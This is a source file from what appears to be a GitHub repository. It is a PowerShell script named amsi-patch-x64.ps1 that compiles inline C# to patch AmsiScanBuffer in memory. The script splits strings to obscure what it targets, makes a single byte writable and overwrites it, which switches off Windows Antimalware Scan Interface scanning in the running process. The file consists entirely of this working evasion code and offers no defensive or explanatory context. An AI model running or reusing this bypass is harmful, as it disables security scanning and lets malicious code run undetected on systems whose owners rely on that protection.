-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathamsi-patch-x64.ps1
34 lines (28 loc) · 915 Bytes
/
amsi-patch-x64.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$source = @"
using System;
using System.Runtime.InteropServices;
using System.Threading;
public class Patch
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, uint flNewProtect, out uint lpflOldProtect);
public static void Bypass()
{
IntPtr lib = LoadLibrary("a"+"m"+"si."+"dll");
IntPtr amsi = GetProcAddress(lib, "Am"+"s"+"iScan"+"B"+"uffer");
IntPtr final = IntPtr.Add(amsi, 0x95);
uint old = 0;
VirtualProtect(final, (UInt32)0x1, 0x40, out old);
Console.WriteLine(old);
byte[] patch = new byte[] { 0x75 };
Marshal.Copy(patch, 0, final, 1);
VirtualProtect(final, (UInt32)0x1, old, out old);
}
}
"@
Add-Type $source -Language CSharp
[Patch]::Bypass()